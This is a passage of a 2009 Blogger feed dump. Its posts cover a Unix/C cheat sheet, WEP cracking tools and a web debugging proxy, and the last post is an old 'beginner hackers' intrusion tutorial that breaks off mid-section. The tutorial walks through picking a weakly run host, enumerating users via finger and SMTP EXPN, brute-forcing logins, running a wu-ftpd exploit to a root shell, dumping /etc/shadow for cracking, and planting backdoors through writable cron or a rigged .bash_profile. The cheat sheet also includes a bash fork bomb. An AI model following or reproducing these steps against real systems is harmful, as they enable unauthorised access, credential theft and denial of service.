cut in a more powerful way. Search this document for other examples. See for example gnulamp.com and one-liners for awk for some nice examples.&lt;br /&gt;&lt;br /&gt;awk &#39;{ print $2, $1 }&#39; file                  # Print and inverse first two columns&lt;br /&gt;awk &#39;{printf(&quot;%5d : %s\n&quot;, NR,$0)}&#39; file     # Add line number left aligned&lt;br /&gt;awk &#39;{print FNR &quot;\t&quot; $0}&#39; files              # Add line number right aligned&lt;br /&gt;awk NF test.txt                              # remove blank lines (same as grep &#39;.&#39;)&lt;br /&gt;awk &#39;length &gt; 80&#39;                            # print line longer than 80 char)&lt;br /&gt;&lt;br /&gt;Some sed commands&lt;br /&gt;Here is the one liner gold minehttp://student.northpark.edu/pemente/sed/sed1line.txt. And a good introduction and tutorial to sedhttp://www.grymoire.com/Unix/Sed.html.&lt;br /&gt;&lt;br /&gt;sed &#39;s/string1/string2/g&#39;                    # Replace string1 with string2&lt;br /&gt;sed -i &#39;s/wroong/wrong/g&#39; *.txt              # Replace a recurring word with g&lt;br /&gt;sed &#39;s/\(.*\)1/\12/g&#39;                        # Modify anystring1 to anystring2&lt;br /&gt;sed &#39;/&lt;p&gt;/,/&lt;\/p&gt;/d&#39; t.xhtml                 # Delete lines that start with &lt;p&gt;&lt;br /&gt;                                             # and end with &lt;/p&gt;&lt;br /&gt;sed &#39;/ *#/d; /^ *$/d&#39;                        # Remove comments and blank lines&lt;br /&gt;sed &#39;s/[ \t]*$//&#39;                            # Remove trailing spaces (use tab as \t)&lt;br /&gt;sed &#39;s/^[ \t]*//;s/[ \t]*$//&#39;                # Remove leading and trailing spaces&lt;br /&gt;sed &#39;s/[^*]/[&amp;]/&#39;                            # Enclose first char with [] top-&gt;[t]op&lt;br /&gt;sed = file | sed &#39;N;s/\n/\t/&#39; &gt; file.num     # Number lines on a file&lt;br /&gt;&lt;br /&gt;Regular Expressions&lt;br /&gt;Some basic regular expression useful for sed too. See Basic Regex Syntaxhttp://www.regular-expressions.info/reference.html for a good primer.&lt;br /&gt;&lt;br /&gt;[\^$.|?*+()                          # special characters any other will match themselves&lt;br /&gt;\                                    # escapes special characters and treat as literal&lt;br /&gt;*                                    # repeat the previous item zero or more times&lt;br /&gt;.                                    # single character except line break characters&lt;br /&gt;.*                                   # match zero or more characters&lt;br /&gt;^                                    # match at the start of a line/string&lt;br /&gt;$                                    # match at the end of a line/string&lt;br /&gt;.$                                   # match a single character at the end of line/string&lt;br /&gt;^ $                                  # match line with a single space&lt;br /&gt;[^A-Z]                               # match any line beginning with any char from A to Z&lt;br /&gt;&lt;br /&gt;Some useful commands&lt;br /&gt;The following commands are useful to include in a script or as one liners.&lt;br /&gt;&lt;br /&gt;sort -t. -k1,1n -k2,2n -k3,3n -k4,4n         # Sort IPv4 ip addresses&lt;br /&gt;echo &#39;Test&#39; | tr &#39;[:lower:]&#39; &#39;[:upper:]&#39;     # Case conversion&lt;br /&gt;echo foo.bar | cut -d . -f 1                 # Returns foo&lt;br /&gt;PID=$(ps | grep script.sh | grep bin | awk &#39;{print $1}&#39;)    # PID of a running script&lt;br /&gt;PID=$(ps axww | grep [p]ing | awk &#39;{print $1}&#39;)             # PID of ping (w/o grep pid)&lt;br /&gt;IP=$(ifconfig $INTERFACE | sed &#39;/.*inet addr:/!d;s///;s/ .*//&#39;)   # Linux&lt;br /&gt;IP=$(ifconfig $INTERFACE | sed &#39;/.*inet /!d;s///;s/ .*//&#39;)        # FreeBSD&lt;br /&gt;if [ `diff file1 file2 | wc -l` != 0 ]; then [...] fi       # File changed?&lt;br /&gt;cat /etc/master.passwd | grep -v root | grep -v \*: | awk -F&quot;:&quot; \ # Create http passwd&lt;br /&gt;&#39;{ printf(&quot;%s:%s\n&quot;, $1, $2) }&#39; &gt; /usr/local/etc/apache2/passwd&lt;br /&gt;&lt;br /&gt;testuser=$(cat /usr/local/etc/apache2/passwd | grep -v \    # Check user in passwd&lt;br /&gt;root | grep -v \*: | awk -F&quot;:&quot; &#39;{ printf(&quot;%s\n&quot;, $1) }&#39; | grep ^user$)&lt;br /&gt;:(){ :|:&amp; };:                                # bash fork bomb. Will kill your machine&lt;br /&gt;tail +2 file &gt; file2                         # remove the first line from file&lt;br /&gt;&lt;br /&gt;I use this little trick to change the file extension for many files at once. For example from .cxx to .cpp. Test it first without the | sh at the end. You can also do this with the command rename if installed. Or with bash builtins.&lt;br /&gt;&lt;br /&gt;# ls *.cxx | awk -F. &#39;{print &quot;mv &quot;$0&quot; &quot;$1&quot;.cpp&quot;}&#39; | sh&lt;br /&gt;# ls *.c | sed &quot;s/.*/cp &amp; &amp;.$(date &quot;+%Y%m%d&quot;)/&quot; | sh # e.g. copy *.c to *.c.20080401&lt;br /&gt;# rename .cxx .cpp *.cxx                             # Rename all .cxx to cpp&lt;br /&gt;# for i in *.cxx; do mv $i ${i%%.cxx}.cpp; done      # with bash builtins&lt;br /&gt;&lt;br /&gt;Programming&lt;br /&gt;C basics&lt;br /&gt;&lt;br /&gt;strcpy(newstr,str)                        /* copy str to newstr */&lt;br /&gt;expr1 ? expr2 : expr3                     /* if (expr1) expr2 else expr3 */&lt;br /&gt;x = (y &gt; z) ? y : z;                      /* if (y &gt; z) x = y; else x = z; */&lt;br /&gt;int a[]={0,1,2};                          /* Initialized array (or a[3]={0,1,2}; */&lt;br /&gt;int a[2][3]={{1,2,3},{4,5,6}};            /* Array of array of ints */&lt;br /&gt;int i = 12345;                            /* Convert in i to char str */&lt;br /&gt;char str[10];&lt;br /&gt;sprintf(str, &quot;%d&quot;, i);&lt;br /&gt;&lt;br /&gt;C example&lt;br /&gt;A minimal c program simple.c:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;main() {&lt;br /&gt;    int number=42;&lt;br /&gt;    printf(&quot;The answer is %i\n&quot;, number);  &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Compile with:&lt;br /&gt;&lt;br /&gt;# gcc simple.c -o simple&lt;br /&gt;# ./simple&lt;br /&gt;The answer is 42&lt;br /&gt;&lt;br /&gt;C++ basics&lt;br /&gt;&lt;br /&gt;*pointer                                  // Object pointed to by pointer&lt;br /&gt;&amp;obj                                      // Address of object obj&lt;br /&gt;obj.x                                     // Member x of class obj (object obj)&lt;br /&gt;pobj-&gt;x                                   // Member x of class pointed to by pobj&lt;br /&gt;                                          // (*pobj).x and pobj-&gt;x are the same&lt;br /&gt;&lt;br /&gt;C++ example&lt;br /&gt;As a slightly more realistic program in C++: a class in its own header (IPv4.h) and implementation (IPv4.cpp) and a program which uses the class functionality. The class converts an IP address in integer format to the known quad format.&lt;br /&gt;IPv4 class&lt;br /&gt;IPv4.h:&lt;br /&gt;&lt;br /&gt;#ifndef IPV4_H&lt;br /&gt;#define IPV4_H&lt;br /&gt;#include &lt;string&gt;&lt;br /&gt;&lt;br /&gt;namespace GenericUtils {                          // create a namespace&lt;br /&gt;class IPv4 {                                      // class definition&lt;br /&gt;public:&lt;br /&gt;    IPv4(); ~IPv4();&lt;br /&gt;    std::string IPint_to_IPquad(unsigned long ip);// member interface&lt;br /&gt;};&lt;br /&gt;} //namespace GenericUtils&lt;br /&gt;#endif // IPV4_H&lt;br /&gt;&lt;br /&gt;IPv4.cpp:&lt;br /&gt;&lt;br /&gt;#include &quot;IPv4.h&quot;&lt;br /&gt;#include &lt;string&gt;&lt;br /&gt;#include &lt;sstream&gt;&lt;br /&gt;using namespace std;                              // use the namespaces&lt;br /&gt;using namespace GenericUtils;&lt;br /&gt;&lt;br /&gt;IPv4::IPv4() {}                                   // default constructor/destructor&lt;br /&gt;IPv4::~IPv4() {}&lt;br /&gt;string IPv4::IPint_to_IPquad(unsigned long ip) {  // member implementation&lt;br /&gt;    ostringstream ipstr;                          // use a stringstream&lt;br /&gt;    ipstr &lt;&lt; ((ip &amp;0xff000000) &gt;&gt; 24)             // Bitwise right shift&lt;br /&gt;          &lt;&lt; &quot;.&quot; &lt;&lt; ((ip &amp;0x00ff0000) &gt;&gt; 16)&lt;br /&gt;          &lt;&lt; &quot;.&quot; &lt;&lt; ((ip &amp;0x0000ff00) &gt;&gt; 8)&lt;br /&gt;          &lt;&lt; &quot;.&quot; &lt;&lt; ((ip &amp;0x000000ff));&lt;br /&gt;    return ipstr.str();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The program simplecpp.cpp&lt;br /&gt;&lt;br /&gt;#include &quot;IPv4.h&quot;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;string&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;int main (int argc, char* argv[]) {&lt;br /&gt;    string ipstr;                                 // define variables&lt;br /&gt;    unsigned long ipint = 1347861486;             // The IP in integer form&lt;br /&gt;    GenericUtils::IPv4 iputils;                   // create an object of the class&lt;br /&gt;    ipstr = iputils.IPint_to_IPquad(ipint);       // call the class member&lt;br /&gt;    cout &lt;&lt; ipint &lt;&lt; &quot; = &quot; &lt;&lt; ipstr &lt;&lt; endl;      // print the result&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Compile and execute with:&lt;br /&gt;&lt;br /&gt;# g++ -c IPv4.cpp simplecpp.cpp                # Compile in objects&lt;br /&gt;# g++ IPv4.o simplecpp.o -o simplecpp.exe      # Link the objects to final executable&lt;br /&gt;# ./simplecpp.exe &lt;br /&gt;1347861486 = 80.86.187.238&lt;br /&gt;&lt;br /&gt;Use ldd to check which libraries are used by the executable and where they are located. Also used to check if a shared library is missing or if the executable is static.&lt;br /&gt;&lt;br /&gt;# ldd /sbin/ifconfig                           # list dynamic object dependencies&lt;br /&gt;# ar rcs staticlib.a *.o                       # create static archive&lt;br /&gt;# ar t staticlib.a                             # print the objects list from the archive&lt;br /&gt;# ar x /usr/lib/libc.a version.o               # extract an object file from the archive&lt;br /&gt;# nm version.o                                 # show function members provided by object&lt;br /&gt;&lt;br /&gt;Simple Makefile&lt;br /&gt;The minimal Makefile for the multi-source program is shown below. The lines with instructions must begin with a tab! The back slash &quot;\&quot; can be used to cut long lines.&lt;br /&gt;&lt;br /&gt;CC = g++&lt;br /&gt;CFLAGS = -O&lt;br /&gt;OBJS = IPv4.o simplecpp.o&lt;br /&gt;&lt;br /&gt;simplecpp: ${OBJS}&lt;br /&gt; ${CC} -o simplecpp ${CFLAGS} ${OBJS}&lt;br /&gt;clean:&lt;br /&gt; rm -f ${TARGET} ${OBJS}</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/5827480859365559203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/be-unix-expert-in-2-days.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/5827480859365559203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/5827480859365559203'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/be-unix-expert-in-2-days.html' title='Be a Unix Expert in 2 Days !'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-1291002614809946119</id><published>2009-09-22T11:20:00.001-07:00</published><updated>2009-09-22T11:20:43.432-07:00</updated><title type='text'>New Microsoft Window 7 rocks with VHD boot.</title><content type='html'>Windows 7 Boot from VHD: http://edge.technet.com/Media/Windows-7-Boot-from-VHD/&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Windows 7 VHD Boot Demonstration: http://technet.microsoft.com/en-us/windows/dd758779.aspx</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/1291002614809946119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/new-microsoft-window-7-rocks-with-vhd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/1291002614809946119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/1291002614809946119'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/new-microsoft-window-7-rocks-with-vhd.html' title='New Microsoft Window 7 rocks with VHD boot.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-4527462010331082981</id><published>2009-09-22T11:12:00.000-07:00</published><updated>2009-09-22T20:21:57.533-07:00</updated><title type='text'>Wireless WEP Key Cracker Tool</title><content type='html'>http://www.youtube.com/watch?v=3seUWVK_Tb0&lt;br /&gt;
&lt;br /&gt;
aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools.&lt;br /&gt;
&lt;br /&gt;
In fact, Aircrack-ng is a set of tools for auditing wireless networks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.&lt;br /&gt;
&lt;br /&gt;
Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and infering the presence of nonbeaconing networks via data traffic.&lt;br /&gt;
&lt;br /&gt;
http://airsnort.shmoo.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below are listed tools for WEP key hacking.&lt;br /&gt;
Wep0ff&lt;br /&gt;
kismet&lt;br /&gt;
aircrack-ng</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/4527462010331082981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/wep-hacking.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/4527462010331082981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/4527462010331082981'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/wep-hacking.html' title='Wireless WEP Key Cracker Tool'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-2064131854298338150</id><published>2009-09-22T11:07:00.001-07:00</published><updated>2009-09-22T11:10:09.894-07:00</updated><title type='text'>Web Debugging  Tool</title><content type='html'>Fiddler is a Web Debugging Proxy which logs all HTTP(S) traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP(S) traffic, set breakpoints, and &quot;fiddle&quot; with incoming or outgoing data. Fiddler includes a powerful event-based scripting subsystem, and can be extended using any .NET language.&lt;br /&gt;&lt;br /&gt;Fiddler is freeware and can debug traffic from virtually any application, including Internet Explorer, Mozilla Firefox, Opera, and thousands more&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.fiddler2.com/fiddler2/&lt;br /&gt;&lt;br /&gt;http://www.fiddler2.com/fiddler/help/video/FiddlerQuickStart.wmv</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/2064131854298338150/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/web-debugging-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/2064131854298338150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/2064131854298338150'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/web-debugging-tool.html' title='Web Debugging  Tool'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-4518165429870828711</id><published>2009-09-22T10:46:00.000-07:00</published><updated>2009-09-22T20:10:44.071-07:00</updated><title type='text'>Beginner Session For hackers</title><content type='html'>-------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                              SUPPLIES&lt;br /&gt;                                             ==========&lt;br /&gt;&lt;br /&gt;(2.) Here listed is some supplies you will need throughout this tutorial, they can be obtained&lt;br /&gt;     easily, &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       1. - superscan (for windows)&lt;br /&gt;       2. - nmap (for unix)&lt;br /&gt;       3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)&lt;br /&gt;       4. - compiler on the shell&lt;br /&gt;       5. - wingates (you can use them as telnet proxys)&lt;br /&gt;&lt;br /&gt;    That is it! &lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                          TO GET IN&lt;br /&gt;                                        ============&lt;br /&gt;&lt;br /&gt;(4.) To get in you will need to gather as much info on this host as you can, make sure it is &lt;br /&gt;     a dumb SysAdmin, since this is your first hack. Then exploit the System, I will explain more&lt;br /&gt;     on this and info getting later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                     &lt;br /&gt;                                         ENUMERATION&lt;br /&gt;                                        =============&lt;br /&gt;&lt;br /&gt;(5,&gt; Ok we have our target. Now to go further we need some info. First telnet to it&#39;s port 79, now&lt;br /&gt;     if this is open you can possibly gain a user list of who is logged on.Just telnet in and press enter.&lt;br /&gt;      Lets say it is enabled&lt;br /&gt;     and allows you to view online users. Look at the example below-&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;$ telnet target.domain 79&lt;br /&gt;Trying IPaddress...&lt;br /&gt;Connected to target.domain.&lt;br /&gt;Escape character is &#39;^]&#39;.&lt;br /&gt;&lt;br /&gt;Login     Name              Tty   Idle  Login Time  Office      Office Phone&lt;br /&gt;gt        grahm crackhead   /1    Sep 1 12:01        &lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     Ok if you get a login write it down&lt;br /&gt;     and try various logins for it. Maybe get Brutus, a telnet brute forcer which you can download for &lt;br /&gt;     windows at- www.packetstorm.securify.com. Use that, try many wordlists. If you just got a &lt;br /&gt;     &quot;no one is logged on&quot; &lt;br /&gt;     message than perhaps you should get &quot;haktek&quot; for windows, you can also get that at-&lt;br /&gt;     www.packetstorm.securify.com. Haktek will let you monitor the finger daemon for as long as you want&lt;br /&gt;     and log to a file everyone who logs in. This can be usefull. Another way is to use the sendmail.&lt;br /&gt;     If they have a lot of users try telneting in and trying to find some valid names, maybe even try&lt;br /&gt;     brute forcing it with a program or a shell script you could type up. Look below, I give an example&lt;br /&gt;     of a sendmail vulnerable to gathering valid logins-&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;$ telnet target.domain 25&lt;br /&gt;Trying IPaddress...&lt;br /&gt;Connected to target.domain.&lt;br /&gt;Escape character is &#39;^]&#39;.&lt;br /&gt;&lt;br /&gt;220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400&lt;br /&gt;expn wally&lt;br /&gt;250 Wally Kolcun &lt;wally@target.domain&gt;&lt;br /&gt;vrfy wally&lt;br /&gt;250 Wally Kolcun &lt;Wally@target.domain&gt;&lt;br /&gt;expn Billy&lt;br /&gt;550 BIlly... User Unknown&lt;br /&gt;----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;As you see above I telneted to their smtp daemon, issued &quot;expn &lt;usernamehere&gt;&quot; and it told me if it was a&lt;br /&gt;real user, then at the end I showed an example of what would happen if the user did not exist, when I &lt;br /&gt;typed &quot;expn Billy&quot; it showed the user was unknown so it was not a valid login, this also helps you get &lt;br /&gt;their email address when you would do some social engineering.&lt;br /&gt;&lt;br /&gt;Another way of gathering usernames would be to search usenet, altavista, for that specific domain. &lt;br /&gt;If you search newsgroups for the domain, there may be some useful info on it, like a problem they are having&lt;br /&gt;maybe with setting permissions, which could get you in possibly.&lt;br /&gt;&lt;br /&gt;Other daemons to help you could be systat, netstat...&lt;br /&gt;&lt;br /&gt;Telnet can also help you figure out the OS, which can be important if you want to exploit it, some have the&lt;br /&gt;OS printed in the telnet login, like below:&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------&lt;br /&gt;Trying IPaddress...&lt;br /&gt;Connected to target.domain.&lt;br /&gt;Escape character is &#39;^]&#39;.&lt;br /&gt;&lt;br /&gt;Red Hat Linux release 6.1 (Cartman)&lt;br /&gt;Kernal 2.2.12-20 on an i586&lt;br /&gt;login:&lt;br /&gt;.----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;As you can see above the system we are cracking now is a redhat 6.1 box&lt;br /&gt;&lt;br /&gt;Social engineering can also get you somewhere, take the example of Kevin Mitnick, He used social engineering&lt;br /&gt;to get into Novell, a HUGE system. What he did was talked like he knew someone who was working there. He &lt;br /&gt;knew they were at vacation at the time, but he had their name. He called up Novell&#39;s offices and asked for &lt;br /&gt;the person, the secretary said she was on vacation, so he said he needed to get access from her, he was&lt;br /&gt;supposed to have. She gave him info that got him in. &lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;                                            COMMON FLAWS&lt;br /&gt;                                          ===============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(6.) Sometimes people make mistakes. This can get you in. Some people just aren&#39;t good sysadmins. A very &lt;br /&gt;     common flaw is people having trouble setting permissions, some have so much trouble they set things&lt;br /&gt;     writable to everyone. This can be trouble. Lets have an example here. Someone sets the cron.daily &lt;br /&gt;     writable for everyone. You could just upload somebackdoor and have it executed by the cron daemon which&lt;br /&gt;     would escalate your access to the system.&lt;br /&gt;&lt;br /&gt;     Now I will tell you about the most terrible thing to do. If a user ever uses IRC on the system, and&lt;br /&gt;     if they also had dcc file send on autoexcept, also having the files go to their home directory, they&lt;br /&gt;     could be sent a hacked up .bash_profile, if written correctly this could make them do something not &lt;br /&gt;     wanted. Like adding a user when they logged in, or mailing someone a login/pass. This is absolutely&lt;br /&gt;     the easiest way to get in.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;                                         BUFFER OVERFLOWS/EXPLOITING&lt;br /&gt;                                      ================================&lt;br /&gt;&lt;br /&gt;(7.) I am not going into buffer overflows too deep. I will just explain what they are so you understand&lt;br /&gt;     and go into the next section. &lt;br /&gt;&lt;br /&gt;     BUFFER OVERFLOWS- On daemons there is a thing called a buffer limit. The buffer limit limits the&lt;br /&gt;    ================== amount of bytes that come in. Sometimes by issuing specific code you ca overflow &lt;br /&gt;                       the buffer and spawn a root shell or regular user shell. An example of this is&lt;br /&gt;                       the recent Buffer overflow in wu-ftpd 2.6.0 (1). Below I will show you it-&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;$ gcc wuftpd-god.c -o wuftpd-god&lt;br /&gt;$ ./wuftpd-god -h&lt;br /&gt;&lt;br /&gt;Usage: ./wuftpd-god -t &lt;target&gt; [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]&lt;br /&gt;         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]&lt;br /&gt;target    : host with any wuftpd&lt;br /&gt;user      : anonymous user&lt;br /&gt;dir       : if not anonymous user, you need to have writable directory&lt;br /&gt;magic_str : magic string (see exploit description)&lt;br /&gt;-g        : enables magic string digging&lt;br /&gt;-x        : enables test mode&lt;br /&gt;pass_addr : pointer to setproctitle argument&lt;br /&gt;ret_addr  : this is pointer to shellcode&lt;br /&gt;systypes: &lt;br /&gt;  0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm&lt;br /&gt;  1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm&lt;br /&gt;  2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm&lt;br /&gt;  3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm&lt;br /&gt;  4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)&lt;br /&gt;  5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports&lt;br /&gt;* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages&lt;br /&gt;  7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports&lt;br /&gt;  8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ ./wuftpd-god -s0 -t target.domain&lt;br /&gt;&lt;br /&gt;Target: target.domain (ftp/&lt;shellcode&gt;): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm&lt;br /&gt;Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152&lt;br /&gt;&lt;br /&gt;loggin into system..&lt;br /&gt; [32mUSER ftp&lt;br /&gt; [0m331 Guest login ok, send your complete e-mail address as password.&lt;br /&gt; [32mPASS &lt;shellcode&gt;&lt;br /&gt; [0m230-Next time please use your e-mail address as your password&lt;br /&gt;230-        for example: joe@cc456375-b.abdn1.md.home.com&lt;br /&gt;230 Guest login ok, access restrictions apply.&lt;br /&gt;STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]&lt;br /&gt;STEP 3 : Checking if we can reach our return address by format string&lt;br /&gt;Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown&lt;br /&gt;uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;If you want root generally an exploit is the way. Find the OS of the system&lt;br /&gt;then visit hack.co.za or packetstorm and search for that os, exploit and you &lt;br /&gt;should get some perl scripts/c scripts/shell scripts. Then just execute them &lt;br /&gt;as directed and you should have root.&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Already got a root shell, that was pretty easy. Just 3 commands to compile get help&lt;br /&gt;and execute, a lot of times I think it is too easy.&lt;br /&gt;&lt;br /&gt;Ok, in some places you might want to know the actual root password in case they patch the exploit.&lt;br /&gt;so lets say you have a root shell. Issue the command as below-&lt;br /&gt;&lt;br /&gt;(it is /etc/passwd if they did not install shadowing utils)&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;# cat /etc/shadow &gt; /root/passwd      &lt;br /&gt;root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash&lt;br /&gt;bin:x:1:1:bin:/bin:&lt;br /&gt;daemon:x:2:2:daemon:/sbin:&lt;br /&gt;adm:x:3:4:adm:/var/adm:&lt;br /&gt;lp:x:4:7:lp:/var/spool/lpd:&lt;br /&gt;sync:x:5:0:sync:/sbin:/bin/sync&lt;br /&gt;shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;halt:x:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;mail:x:8:12:mail:/var/spool/mail:&lt;br /&gt;news:x:9:13:news:/var/spool/news:&lt;br /&gt;uucp:x:10:14:uucp:/var/spool/uucp:&lt;br /&gt;operator:x:11:0:operator:/root:&lt;br /&gt;games:x:12:100:games:/usr/games:&lt;br /&gt;sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash&lt;br /&gt;gopher:x:13:30:gopher:/usr/lib/gopher-data:&lt;br /&gt;ftp:x:14:50:FTP User:/home/ftp:&lt;br /&gt;nobody:x:99:99:Nobody:/:&lt;br /&gt;xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false&lt;br /&gt;fax:x:10:14:Fax Master:/home/fax/:/bin/bash&lt;br /&gt;postfix:x:101:233:postfix:/var/spool/postfix:&lt;br /&gt;gdm:x:42:235::/home/gdm:/bin/bash&lt;br /&gt;grim:9hu.u8:501:501:grim:/home/grim:/bin/bash&lt;br /&gt;banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash&lt;br /&gt;bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;The above command saved it as /root/passwd, but then you must crack it. Use john the ripper,&lt;br /&gt;it can be found at packetstorm and other places, I use it, it is so fast. Sometimes it takes years&lt;br /&gt;to crack a password so I don&#39;t suggest relying on cracking&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;                                      FIREWALLS&lt;br /&gt;                                     ===========&lt;br /&gt;&lt;br /&gt;(8.) Firewalls can&#39;t stop you if you know what you are doing. In this text I use nmap a lot, it is good&lt;br /&gt;     for just about everything, nmap is short for network mapper. The newest version can be downloaded &lt;br /&gt;     from www.insecure.org  I love it&#39;s OS detection, it is so accurate, even wehn little services are&lt;br /&gt;     running, it analyzes the tcp fingerprint, which it has a large database of. Ok 